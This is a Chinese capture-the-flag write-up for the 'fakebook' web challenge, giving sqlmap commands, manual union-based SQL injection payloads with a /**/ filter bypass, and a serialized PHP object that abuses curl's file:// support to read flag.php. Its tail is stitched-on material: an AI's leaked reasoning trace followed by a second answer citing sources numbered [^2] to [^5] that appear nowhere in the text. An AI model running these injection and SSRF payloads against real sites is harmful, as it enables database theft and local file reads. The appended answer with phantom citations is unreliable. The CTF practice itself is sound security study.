攻防世界-fakebook-(详细操作)做题过程

如有不对的地方,还请各位大佬指正。下面开始做题:

进去以后可以看到有login和join还有jpg可以进去,这些页面的url分别用漏扫工具acunetix进行扫描。

 点击添加扫描对象,其他的一切都按照默认的扫描模式进行扫描,几个网站全部扫描以后可以得知主站:http://111.200.241.244:62233/下存在sql漏洞

存在sql漏洞url:http://111.200.241.244:62233/vive.php?no=1

这里是方法一,利用sqlmap暴库在这里极慢,花了我很多时间有兴趣的可以看一下,算了最后我放弃了,,,大家就看一乐就行了,sqlmap确实没有灵魂。。。。呜呜呜。

补,我有尝试了一遍,发现哪怕进入了正确的库名里面,仍然不能够爆出字段,说明字段做了特殊的处理,这里就不多说了。请大家不要学这个方法。。。。。

到这里我们就可以利用构建好的url结合sqlmap进行一个注入,常规注入语句为:

sqlmap -u "http://111.200.241.244:62233/vive.php?no=1" --dbs   sql注入语句请参考:Sqlmap使用教程_ygyydwx的博客-优快云博客_sqlmap使用教程

 图片上的数据库fakebook是之前注入出来的数据库。。。。但是之前线程开的太多了,导致电脑卡死,之前的数据也就丢失了,总之注入有没有fakebook都不会成功,sqlmap都会提示我们这段话

要让我们在构造的语句后添加--no-cast ,添加后的语句

sqlmap  -u  "http://111.200.241.244:62233/vive.php?no=1" --dbs  --no-cast

接下来会爆出数据库,但是会很慢,sqlmap会提醒我们添加--threads,添加完成以后的语句为

sqlmap  -u  "http://111.200.241.244:62233/vive.php?no=1" --dbs   --no-cast  --threads 4

 注入完成以后可以得到了这些数据库

接下来就是报表注入的语句为:sqlmap  -u  "http://111.200.241.244:62233/vive.php?no=1" -D fakebook --tables   --no-cast  --threads 4

 略过之前同样的步骤:不同的地方有sqlmap会问你是否考虑开启多线程,多线程不安全,这里y和n都点过,都无关紧要。

multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] n

do you want to use common column existence check? [y/N/q] y 这里很重要,一定要选yes,不然就会被弹出。无法基础爆出表名

选了yes以后又会弹出让选择default还是custom,这里选谁都可以。

 最后可以爆出表名

 接下来爆行就是输入:sqlmap -u "http://111.200.241.244:62233/view.php?no=1" -D fakebook -T users -columns  --thread 4,接下来又会轮回上面的一轮输入,像上一轮报表输入就行。

 接下来爆字段:sqlmap -u "http://111.200.241.244:62233/view.php?no=1" -D fakebook -T users -C passwd  --dump --thread 4 --no-cast --batch             这里必须要加--no-cast不然就会报错,反正我的是这样的。

不对,哭死,我跑了一天的代码居然是这个,小丑竟是我自己。哎,我是打算放弃了,flag肯定在这里面但是我已经没有时间跑了,换一种方法、看了其他大佬写的wp,发现库flag在data列表中。运用到了反序列化,啥都跑不出来,离谱,绷不住了。还是用另一种方式吧。

方法二:进入后用手工测试发现了文中有一个robots.txt(因为我的御剑扫描扫描不出来,有这个文档也扫描不出来,不知道为什么)ctf中常见的目录收集;CTF中的Web信息搜集_Amire0x的博客-优快云博客_ctf web 信息收集

 提示我们/user.php.bak:

 

打开以后就是网页源代码:

代码先放一边,继续点击其他网页,点击到join后,可以一番操作以后知道需要先创建账号才行,这里就先创建账号

 

在blog这里需要填入网址才能注册成功,blog有博客的意思;

 注册成功后:

 这里发下没有什么,进入账号123的界面,

这里测试是否含有sql注入,构建payload:http://111.200.241.244:61663/view.php?no=1 and 1=1#

 更换payload:http://111.200.241.244:61663/view.php?no=1 and 1=2'#

报错了,存在sql注入点, 利用order by 排序:

http://111.200.241.244:55597/view.php?no=1 order by 3#

http://111.200.241.244:55597/view.php?no=1 order by 4#

http://111.200.241.244:55597/view.php?no=1 order by 5# 到这里就报错,说明字段数为4

 利用联合注入http://111.200.241.244:55597/view.php?no=1 union select 1,2,3,4 #,回显失败,应该是被过滤掉了

 尝试过双写注入发现并不是过滤掉了union select,参考了大佬的文章SQL注入时当and、or等字符被过滤了怎么办_litchi125的博客-优快云博客_sql注入过滤and,还有这位大佬的文章sql注入绕WAF的N种姿势 - 安全客,安全资讯平台

在经过几番绕过测试以后发现/**/能够绕过过滤,payloade:http://111.200.241.244:55597/view.php?no=1 union/**/select 1,2,3,4#    (  /**/这个在文中起注释作用)

尝试几番以后发现?no=1没有回显,也不知道为什么,所以改了一下,将?no=2之后才有了回显,原谅我比较菜。

具体payload

用联合注入暴库的过程中,暴出来了fakebook、一个库,其他的都是回显2???

 下面开始爆表这里有参考SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_Wαff1ε的博客-优快云博客_sql联合注入

利用  http://111.200.241.244:55597/view.php?no=2 union/**/select 1,user(),3,4#

,可以知道该库是属于root用户的

 爆表的具体语句:Fakebookhttp://111.200.241.244:55597/Fakebookview.php?no=2  union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

 爆字段的具体语句:

http://111.200.241.244:55597/view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

有如下的字段no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

查字段对应得值,具体语句如下:

http://111.200.241.244:55597/view.php?no=2 union/**/select 1,group_concat(data),3,4 from users#

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

 1.这一段话是序列化的字符串,2.看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php

3.cuit_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件。

4.查看源代码:(robots.txt下载到的源代码)

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();   #初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。 

        curl_setopt($ch, CURLOPT_URL, $url); #curl_setopt — 设置一个cURL传输选项。 CURLOPT_URL需要获取的URL地址,也可以在curl_init()函数中设置
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  # CURLOPT_RETURNTRANSFER 	将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。 
        $output = curl_exec($ch);  #执行一个cURL会话
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#//抓取URL并把它传递给浏览器,CURLINFO_HTTP_CODE最后一个收到的HTTP代码 
        if($httpCode == 404) {  
            return 404;
        }
        curl_close($ch);// 关闭cURL资源,并且释放系统资源

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

代码审计中:curl 可以使用伪协议file:///文件路径。

结合以上四点我们可以知道,flag可能在/var/www/html/flag.php且传入的参数被序列化了且传入的变量有$name、$age、$blog,且我们需要用到伪协议file:///。最终们要构建的payload,满足这些条件的代码如下:

<?php   
class UserInfo
{
    public $name = "123";  #任意
    public $age = 123;      #任意
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo(serialize($a)); 
?>

运行后可得

最后一步构建的paylod为

http://111.200.241.244:52692/view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #(传入的序列化参数需要加上  '')

 打开F12以后就能看到被加密的flag:PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

解密以后

 flag = flag{c1e552fdf77049fabf65168f22f7aeab}

<think>好的,用户提到Fakebook,看起来可能与CTF题目有关,特别是网鼎杯2018的题目。用户引用了多个涉及SQL注入、PHP反序列化和SSRF的内容。首先,我需要整理这些引用中的关键点。 首先,引用[2]和[3]指出存在SQL注入点,使用union select进行注入,并且过滤了空格,需要用/**/代替。然后,通过构造特定的Payload,利用PHP反序列化漏洞,将UserInfo对象的blog属性设置为file://协议,触发SSRF读取服务器上的flag.php文件。引用[5]中的Payload示例进一步验证了这个方法。 用户可能在询问如何解决这个CTF题目,或者想了解相关的漏洞利用方法。需要分步骤解释漏洞的发现和利用过程,包括如何确定注入点、绕过过滤、构造Payload以及结合反序列化和SSRF获取flag。同时,根据用户提供的引用,确保回答的准确性,并正确标注引用来源。 最后,生成的相关问题需要围绕SQL注入、反序列化、SSRF以及该题目的其他可能解法,帮助用户深入理解每个步骤的原理和相关技术。</think>### Fakebook漏洞分析与利用(网鼎杯2018) 根据提供的参考资料,该题目主要涉及SQL注入、PHP反序列化、SSRF(服务端请求伪造)的综合利用,以下是关键分析步骤: --- #### 1. **漏洞发现** - **注入点定位**:通过参数`?no=1`发现存在数字型SQL注入,使用`?no=0++order++by++4--+`确认字段数为4[^2] - **过滤绕过**:对空格进行过滤,可用`/**/`或`++`代替,如`union/**/select`构造注入语句[^3] --- #### 2. **漏洞利用** **Step 1 - 报错注入验证** ```sql ?no=0/**/union/**/select+updatexml(1,concat(0x7e,database()),1),2,3,4--+ ``` 通过报错信息可获取数据库名`fakebook`[^3] **Step 2 - 联合查询构造** ```sql ?no=-1/**/union/**/select+1,2,3,4--+ ``` 确认回显位置后,替换有效字段为数据查询结果[^5] **Step 3 - 反序列化+SSRF** 构造包含`file://`协议的PHP序列化对象: ```php O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";} ``` 通过SQL注入将该对象写入查询结果: ```sql ?no=-1/**/union/**/select+1,2,3,'<序列化字符串>'--+ ``` 触发反序列化后,`blog`属性会通过`file://`协议读取服务器本地的flag.php文件 --- #### 3. **技术原理** - **SQL注入**:利用`UNION SELECT`合并恶意查询结果 - **PHP反序列化**:`UserInfo`类实例化时自动加载`blog`属性 - **SSRF**:`file://`协议绕过网络限制访问本地文件[^4] ---
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值